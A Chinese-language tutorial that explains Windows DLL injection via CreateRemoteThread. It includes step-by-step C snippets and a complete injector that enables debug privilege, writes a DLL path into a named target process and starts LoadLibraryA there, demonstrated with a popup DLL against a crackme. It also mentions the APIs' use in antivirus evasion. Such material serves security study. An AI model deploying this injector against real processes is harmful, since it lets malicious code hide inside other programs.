# Dll注入之远程线程注入

## 0x00 原理简介

基本思路就是让远程进程载入一个我们的dll，这样我们只要在dll里面写入相关代码，基本就可以为所欲为了。但问题是远程进程显然不可能自己调用LoadLibrary来加载我们的dll，我们就要想办法“让”它来调用。我们用CreateRemoteThread函数在远程进程中创建一个线程，线程函数的地址设为LoadLibrary的地址，线程函数参数设为“Mydll.dll”。即让远程进程调用LoadLibrary载入我们的dll，dll的主函数DllMain第二个参数ul\_reason\_for\_call 为调用原因。通过远程线程加载dll时，是以DLL\_PROCESS\_ATTACH方式加载，所以在dll的case DLL\_PROCESS\_ATTACH:下写上你要执行的代码。

这里介绍几个需要的API：

* LoadLibrary()  和  GetProcAddress()&#x20;

这两个函数，一个是加载dll库，一个是从已经加载的库句柄里拿出来某个函数的地址，可以理解成是把一个dll加到内存里，然后获取里面某个函数的地址，得到这个地址后就可以直接调用了，这两个简单的函数经常用到，无论是常规调用还是静态免杀都经常用。

* VirtualAllocEx()

在指定进程里开辟一块内存，用于存放自己的代码和参数。

* WriteProcessMemory()

里面的函数会在一个进程里开辟一块内存，然后在那个内存里直接用本函数进行数据写入，就是在别人那开一块内存然后写自己的东西。

* CreateRemoteThread()

最核心的函数，在指定进程的某个内存位置存储的函数为线程函数，启动一个线程，当然被启动的这个线程属于指定的这个进程。

## 0x01 代码实现

1.提升进程为DEBUG权限

```c
bool AdjustProcessTokenPrivilege()  
{  
    LUID luidTmp;  
    HANDLE hToken;  
    TOKEN_PRIVILEGES tkp;  

    if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))  
        return false;  


    if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidTmp))  
    {       
        CloseHandle(hToken);  
        return FALSE;  
    }  
    tkp.PrivilegeCount = 1;  
    tkp.Privileges[0].Luid = luidTmp;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  

    if(!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))  
    {  
        CloseHandle(hToken);  
        return FALSE;  
    }  
    return true;  
}
```

2.获取宿主进程的pid

```c
DWORD GetPid(char *szName)
{
    HANDLE hprocessSnap=NULL;
    PROCESSENTRY32  pe32 ={0};
    hprocessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    if(hprocessSnap == (HANDLE)-1){return 0;}
    pe32.dwSize=sizeof(PROCESSENTRY32);
    if(Process32First(hprocessSnap,&pe32))
    {
        do{
        if(!strcmp(szName,pe32.szExeFile))
            return (int)pe32.th32ProcessID;
        }while(Process32Next(hprocessSnap,&pe32));
    }
    else
        CloseHandle(hprocessSnap);
    return 0;
}
```

3.获取目标进程句柄，在目标进程分配dll路径名长度+1大小的内存,并拷贝dll路径名字到目标进程的内存

```c
hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessID);
if(hProcess==NULL)
{
    printf("OPENPROCESS Error ! \n");
    return FALSE;
}

dwLength =strlen(szDllPathName)+1;
lpAllocAddr=VirtualAllocEx(hProcess,NULL,dwLength,MEM_COMMIT,PAGE_READWRITE);
if(lpAllocAddr==NULL)
{
    printf("VIRTUALALLOCEX Error !  \n");
    GetLastError();
    CloseHandle(hProcess);
    return FALSE;
}

bRet = WriteProcessMemory(hProcess,lpAllocAddr,szDllPathName,dwLength,NULL);
if(!bRet)
{
    printf("WriteProcessMemory Error ! \n");
    GetLastError();
    CloseHandle(hProcess);
    return FALSE;
}
```

4.由于kernel32.dll基址相同，所以利用GetModuleHandle()和GetProcAddress() 获取kernel模块基址和找到LoadLibrary函数地址(两程序中地址一样).

```c
hModule =GetModuleHandle("kernel32.dll");
if (!hModule)
{
    printf("GetModuleHandle Error !\n");
    GetLastError();
    CloseHandle(hProcess);
    return FALSE;
}

dwLoadAddr=(DWORD)GetProcAddress(hModule,"LoadLibraryA");
if (!dwLoadAddr)
{
    printf("GetProcAddress Error !\n");
    GetLastError();
    CloseHandle(hProcess);
    CloseHandle(hModule);
    return FALSE;
}
```

5.万事俱备，只欠东风，还差最后一步。CreateRemoteThread()这个函数，这时只要将你得到的LoadLibraryA函数地址传进去，留意一下参数

```c
HANDLE WINAPI CreateRemoteThread（
  _In_ HANDLE hProcess，
  _In_ LPSECURITY_ATTRIBUTES lpThreadAttributes，
  _In_ SIZE_T dwStackSize，
  _In_ LPTHREAD_START_ROUTINE lpStartAddress，
  _In_ LPVOID lpParameter，
  _In_ DWORD dwCreationFlags，
  _Out_ LPDWORD lpThreadId
）;
```

这里第4个参数为指向由线程执行的LPTHREAD\_START\_ROUTINE类型的应用程序定义函数的指针，表示远程进程中线程的起始地址。所以我们要将我们的LoadLibraryA函数地址强制转换成LPTHREAD\_START\_ROUTINE类型。第五个为写入目标进程参数的地址。代码如下：

```c
hThread =CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)dwLoadAddr,lpAllocAddr,0,NULL);
if (!hThread)
{
    printf("CreatRemoteTread Error !\n");
    GetLastError();
    CloseHandle(hProcess);
    CloseHandle(hModule);
    return FALSE;
}
```

## 0x02 运行结果

* 测试环境为win10 x64
* 实验程序为[crackme.exe](https://github.com/yxshyj/project/blob/master/other/crackme.exe)
* 测试工具为火绒剑
* Mydll功能就一个弹窗

![](https://firebasestorage.googleapis.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LckC1dmB2Mb2F1Bgx_H%2Fuploads%2F4tyMtlV8mJa0Bjt4DOXq%2Ffile.png?alt=media)

![](https://1832246008-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LckC1dmB2Mb2F1Bgx_H%2F-Ld7SV6C_w7h20nLyvZk%2F-Ld7SW3darqKzmWWJ1wA%2F9.png?generation=1555993861022259\&alt=media)

## 0x03 完整代码

```c
#include<stdio.h>
#include<windows.h>
#include<stdlib.h>
#include<Tlhelp32.h.>

bool AdjustProcessTokenPrivilege()  
{  
    LUID luidTmp;  
    HANDLE hToken;  
    TOKEN_PRIVILEGES tkp;  

    if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))  
        return false;  


    if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidTmp))  
    {       
        CloseHandle(hToken);  
        return FALSE;  
    }  
    tkp.PrivilegeCount = 1;  
    tkp.Privileges[0].Luid = luidTmp;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  

    if(!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))  
    {  
        CloseHandle(hToken);  
        return FALSE;  
    }  
    return true;  
}  

DWORD GetPid(char *szName)
{
    HANDLE hprocessSnap=NULL;
    PROCESSENTRY32  pe32 ={0};
    hprocessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    if(hprocessSnap == (HANDLE)-1){return 0;}
    pe32.dwSize=sizeof(PROCESSENTRY32);
    if(Process32First(hprocessSnap,&pe32))
    {
        do{
            if(!strcmp(szName,pe32.szExeFile))
                return (int)pe32.th32ProcessID;
        }while(Process32Next(hprocessSnap,&pe32));
    }
    else
        CloseHandle(hprocessSnap);
    return 0;
}



BOOL LoadDll(DWORD dwProcessID,char *szDllPathName)
{
    BOOL bRet;
    HANDLE hProcess;
    HANDLE hThread;
    DWORD dwLength;
    DWORD dwLoadAddr;
    LPVOID lpAllocAddr;
    HMODULE hModule;

    bRet=0;
    dwLoadAddr=0;
    hProcess =0;

    // #0.提升进程为DEBUG权限
    if(!AdjustProcessTokenPrivilege())  
    {            printf("提权失败\n");
    return 0;  
    }

    // #1.获取进程句柄
    hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessID);
    if(hProcess==NULL)
    {
        printf("OPENPROCESS Error ! \n");
        return FALSE;
    }
    // #2.计算dll路径长度(加上'\0')
    dwLength =strlen(szDllPathName)+1;

    // #3.在目标进程分配内存
    lpAllocAddr=VirtualAllocEx(hProcess,NULL,dwLength,MEM_COMMIT,PAGE_READWRITE);

    if(lpAllocAddr==NULL)
    {
        printf("VIRTUALALLOCEX Error !  \n");
        GetLastError();
        CloseHandle(hProcess);
        return FALSE;
    }

    // #4.拷贝dll路径名字到目标进程的内存
    bRet = WriteProcessMemory(hProcess,lpAllocAddr,szDllPathName,dwLength,NULL);

    if(!bRet)
    {
        printf("WriteProcessMemory Error ! \n");
        GetLastError();
        CloseHandle(hProcess);
        return FALSE;
    }
    // #5.获取模块地址
    hModule =GetModuleHandle("kernel32.dll");
    if (!hModule)
    {
        printf("GetModuleHandle Error !\n");
        GetLastError();
        CloseHandle(hProcess);
        return FALSE;
    }
    // #6.获取LoadLibraryA 函数地址
    dwLoadAddr=(DWORD)GetProcAddress(hModule,"LoadLibraryA");
    if (!dwLoadAddr)
    {
        printf("GetProcAddress Error !\n");
        GetLastError();
        CloseHandle(hProcess);
        CloseHandle(hModule);
        return FALSE;
    }
    // #7.创建远程线程,加载dll
    hThread =CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)dwLoadAddr,lpAllocAddr,0,NULL);
    if (!hThread)
    {
        printf("CreatRemoteTread Error !\n");
        GetLastError();
        CloseHandle(hProcess);
        CloseHandle(hModule);
        return FALSE;
    }
    // #8.关闭进程句柄
    CloseHandle(hProcess);

    return TRUE;
}

int main()
{
    LoadDll(GetPid("目标进程名"),"dll路径名");
    return 0;
}
```

## 0x04 总结感悟

现已加入安全软件检测豪华套餐......
